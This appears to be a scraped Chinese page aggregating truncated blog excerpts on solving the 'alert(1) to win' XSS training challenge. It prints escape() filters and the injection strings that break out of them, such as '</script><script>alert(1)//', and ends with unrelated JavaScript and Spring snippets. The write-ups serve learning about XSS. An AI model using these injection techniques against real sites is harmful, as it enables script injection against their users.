alert(1) to win 9】的更多相关文章

alert(1) to win 一个练习XSS的平台,地址:https://alf.nu/alert1 Warmup 给出了一段JavaScript代码 function escape(s) { return '<script>console.log("'+s+'");</script>'; } 对s没有任何校验,payload为 ");alert(1);(" 或者 ");alert(1);// Adobe 代码如下 functio…
alert(1) to win Adobe: function escape(s) { s = s.replace(/"/g, '\\"'); return '<script>console.log("' + s + '");</script>'; } 此题将双引号转义为:\". 如果输入");alert(1)//,则输出:<script>console.log("\");alert(1)/…
第13题 题目: function escape(s) { var tag = document.createElement('iframe'); // For this one, you get to run any code you want, but in a "sandboxed" iframe. // // https://4i.am/?...raw=... just outputs whatever you pass in. // // Alerting from 4i.a…
人在江湖,不服就干! 第9题: function escape(s) { function htmlEscape(s) { return s.replace(/./g, function(x) { return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x; }); } function expandTemplate(template, args) {…
早上7点起床,又写了一篇小说发在了起点网上,有兴趣的可以看看.点击这里 忙完后,继续练习,刚开始发现自己答题的速度有些慢,可能是因为对于html,javascript知识不是很精通,但是话又说回来,谁又能一开始就将所有的知识一下子就掌握的很熟练呢? 第六题. 题目: function escape(s) { // Slightly too lazy to make two input fields. // Pass in something like "TextNode#foo" va…
吃过晚饭,再练一题 第五题 function escape(s) { var text = s.replace(/</g, '<').replace(/"/g, '"'); // URLs text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>'); // [[img123|Description]] text = text.replace(/\[\[(\w+)\|(…
游戏误人生,一下午玩了将近四个小时的三国杀,后悔不已,然后重新拾起xss challenge,突发奇想,自己构建渲染后的html. 从最简单的开始. 自动检测html: <!DOCTYPE html> <html> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body>…
本人黑绝楼,自称老黑,男,25岁,曾经在BAT工作过两年,但是一直都是底层人员,整天做重复性工作,甚敢无趣,曾和工作十年之久的同事聊天,发现对方回首过往,生活是寡淡如水,只有机械性工作.旋即老黑毅然决然辞职,现赋闲在家,打算从软件开发工程师转为安全研究,开这个博客记录平生,以飨各位看官. 老黑我无房,无车,无女友,身高一米七七,微胖,为计算机奋斗了四五年,可惜进步甚微,现决心发愤图强,在未来的七八个月里做最后的挣扎,不成功便安心结婚生子,随了父母的心愿.:) 人生处处都是选择,做出正确的选择才能…
XSS在线习题分析 (https://alf.nu/alert1) 1. Warmup function escape(s) { return '<script>console.log("'+s+'");</script>'; } 没有进行过滤,只需要语句闭合就行.闭合语句思路:把console.log() 单独作为一个语句,alert(1)单独作为一个语句,包含在里面. 最好就是这个样子. <script>console.log();alert(1…
地址:http://escape.alf.nu/ level 0: 注意补全,");alert(1)// level 1: 通过添加反斜线使用来转义的反斜线变为字符,\");alert(1)// level 2: 双引号,反斜杠都被转义了--没想到办法,就搜了搜,原来可以直接不管双引号而闭合<script>标签,可能优先级不同吧,</script><script>alert(1)// level 3: JSON.stringify() 方法可以将任意…
<!--<script></script>之间的内容会被当作js处理,所以,//we'll use this later </script>被注释了.最终 if(alert(1).test(url))执行弹框.…
function escape(s) { function htmlEscape(s) { return s.replace(/./g, function(x) { return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x; }); } function expandTemplate(template, args) { return template…
function escape(s) { return '<script>console.log("' + s.toUpperCase() + '")</script>'; } 尝试: 输入的 alert 进行了大写转换,ALERT(1)无法执行. 网上有一种jsfuck的混肴编码(https://en.wikipedia.org/wiki/JSFuck).将alert(1)编码为下面的可执行内容(http://utf-8.jp/public/jsfuck.ht…
function escape(s) { // Pass inn "callback#userdata" var thing = s.split(/#/); if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback'; var obj = {'userdata': thing[1] }; var json = JSON.stringify(obj).replace(/</g, '\\u003c'); retu…
function escape(s) { // Slightly too lazy to make two input fields. // Pass in something like "TextNode#foo" var m = s.split(/#/); // Only slightly contrived at this point. var a = document.createElement('div'); a.appendChild(document['create'+m…
function escape(s) { s = JSON.stringify(s); return '<script>console.log(' + s + ');</script>'; } JSON.stringify()将 \ 和 " 都转义了,只能:</script><script>alert(1)//  …
function escape(s) { s = s.replace(/"/g, '\\"'); return '<script>console.log("' + s + '");</script>'; } 此题将双引号转义为:\". 上一道题有个答案没有用到双引号:</script><script>alert(1)// ,这里也可以用. 如果输入");alert(1)//,则输出:<scri…
一. function escape(s) { return '<script>console.log("'+s+'");</script>'; } 两种思路:1.结束 console.log,然后执行 alert(1):2.直接让 alert(1) 在console.log()中执行. 结束 console.log 1.payload:");alert(1)// 输出:<script>console.log("");a…
function escape(s) { var text = s.replace(/</g, '<').replace(/"/g, '"'); // URLs text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>'); // [[img123|Description]] text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '&…
function escape(s) { var url = 'javascript:console.log(' + JSON.stringify(s) + ')'; console.log(url); var a = document.createElement('a'); a.href = url; document.body.appendChild(a); a.click(); } JSON.stringify()用于从一个对象解析出字符串. 试输入:123 只要闭合第一个双引号就 ok…
写作不易,转载请注明出处,谢谢. 文章类别:Javascript基础(面向初学者) 前言 在之前的章节中,我们已经不依赖jQuery,单纯地用JavaScript封装了很多方法,这个时候,你一定会想,这些经常使用的方法能不能单独整理成一个js文件呢? 当然可以,封装本来就是干这个用的.放在一个单独js文件里固然不错,其实我们也可以单独整一个js类库,一方面可以锻炼一下自己封装方法的能力,另一方面,也可以将自己学到的东西做一个整理. 出于这个目的,本文将介绍如何封装一个简单的js类库.(当然,只是…
后台服务端接收文件的代码: /** * 后台上传文件处理Action */ @RequestMapping(value = "/uploadFile", method=RequestMethod.POST) public void uploadFile(@RequestParam(value="file",required=true) MultipartFile file ,HttpServletResponse response) { ModelMap model…
<script type="text/javascript"> //平台.设备和操作系统 var system ={ win : false, mac : false, xll : false }; //检测平台 var p = navigator.platform; alert(p); /**var sUserAgent = navigator.userAgent.toLowerCase(); alert(sUserAgent);*/ system.win = p.ind…
通过navigator的userAgent属性来判定 userAgent 属性是一个只读的字符串,声明了浏览器用于 HTTP 请求的用户代理头的值.一般来讲,它是在 navigator.appCodeName 的值之后加上斜线和 navigator.appVersion 的值构成的. 例如:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322) 1 function checkBrowser(){ va…
js //点击启用 $(".status").on("click",function(){ var id = $(this).attr("statusId"); var customName = $(this).attr("customName"); var customStatus = $(this).attr("value"); var statusId = $(this).attr("sta…